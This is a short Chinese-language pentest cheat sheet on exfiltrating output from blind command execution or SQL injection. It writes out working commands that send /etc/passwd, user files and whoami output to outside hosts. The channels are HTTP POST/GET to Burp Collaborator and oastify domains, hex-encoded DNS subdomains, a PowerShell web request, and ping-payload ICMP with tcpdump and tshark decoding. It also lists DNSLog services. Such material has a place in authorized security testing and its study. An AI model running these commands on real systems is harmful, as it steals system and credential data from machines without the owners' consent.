0x01 说明
渗透测试时有些时候会遇到执行命令/SQL注入
看不到回显的情况无法确认命令是否执行成功,这个时候一般常见做法是:
- 如果有Web服务,那么可以在Web目录下创建一个文件,然后通过http访问该文件即可(将命令执行结果写入到文件)
- 通过DNSlog平台以将数据拼接为子域名,然后通过字符串解码获取数据
- 通过将数据
POST/GET
到自建的HTTP Server上来获取数据 - 通过ICMP获取数据
0x02 相关命令
一般情况下Linux执行拼接字符串中的命令可以使用如下两种方式:
# 使用反引号``:
echo `whoami`
# 使用$()进行变量引用
echo $(whoami)
以下内容使用Burp Suite的Collaborator Client
进行演示
-
POST
数据到HTTP服务
- linux:
echo 'test post data!' | curl -X POST -d @- rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net
curl http://rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net --request --data "`test post data | base64`"
# 读文件
cd /etc && curl -X POST -d @passwd le3d1eunmz71803526rkra7mhdn4bt.burpcollaborator.net
curl -X POST -T /etc/passwd le3d1eunmz71803526rkra7mhdn4bt.burpcollaborator.net
- windows:
invoke-webrequest 需要 win8/win server2012 以上版本才能执行
powershell -c "$body=Get-Content -path C:\Users\administrator\desktop\1.txt;invoke-webrequest -uri http://k0lbj85v366gcd7a58drhbrhw82zqo.oastify.com -method Post -body $body"
2.GET
数据到HTTP服务
# 未编码数据
curl rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net/`whoami`
# base64编码
curl rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net/`whoami|base64`
-
DNS
子域名解析:
curl `whoami`.rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net
# 由于base64编码存在斜杠和等于号因此作为子域名传输时可能出现问题,这里使用十六进制编码
# 但由于子域名有长度限制,因此超出长度的应多次发送
curl `whoami | xxd -ps`.rwr4322hirsq7p1i2ep090rz7qdh16.burpcollaborator.net
4.icmp
传输
#接收方开启监听
tcpdump 'icmp and src host 172.16.253.1' -w icmp.pcap
#发送
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 172.16.253.137;done
#数据导出
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p
0x03 相关工具和平台
-
DNSLog
平台
- ceye.io
- dnslog.cn
-
Burp Suite自带的
Collaborator ClientCollaborator Client
- DnslogSqli
网友评论